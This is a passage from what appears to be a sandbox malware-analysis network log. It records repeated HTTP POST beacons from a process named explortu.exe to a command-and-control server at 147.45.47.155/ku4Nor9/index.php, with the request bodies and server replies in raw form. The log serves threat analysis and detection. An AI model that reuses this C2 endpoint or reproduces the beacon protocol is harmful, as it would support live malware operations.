Jun 27, 2024 07:38:50.849711895 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	49804	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:51.177155018 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:51.852623940 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	49805	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:51.864578962 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:52.555396080 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	49806	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:52.674326897 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:53.359203100 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	49807	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:53.367149115 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:54.061899900 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	49808	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:54.173367023 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:54.849744081 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	49809	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:54.859180927 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:55.562154055 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	49810	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:55.674772024 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:56.338176012 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	49811	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:56.346677065 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:57.021408081 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49812	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:57.143465042 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:57.821886063 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49813	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:57.830838919 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:38:58.518568993 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	49814	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:58.646945000 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:38:59.313754082 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49815	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:38:59.321964979 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:39:00.002774000 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:38:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	49816	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:00.128241062 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:39:00.806432009 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	49817	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:00.817147970 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:39:01.504843950 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	49818	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:01.636580944 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:39:02.305821896 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	49819	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:02.500822067 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:39:03.170985937 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49820	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:03.283495903 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:39:03.958987951 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	49821	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:03.970546007 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:39:04.769670010 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	49822	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:04.901923895 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:39:05.568566084 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	49823	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:05.584995985 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:39:06.261090040 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	49824	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:06.377650023 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:39:07.062994003 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	49825	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:07.072774887 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:39:07.756961107 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	49826	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:07.877070904 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
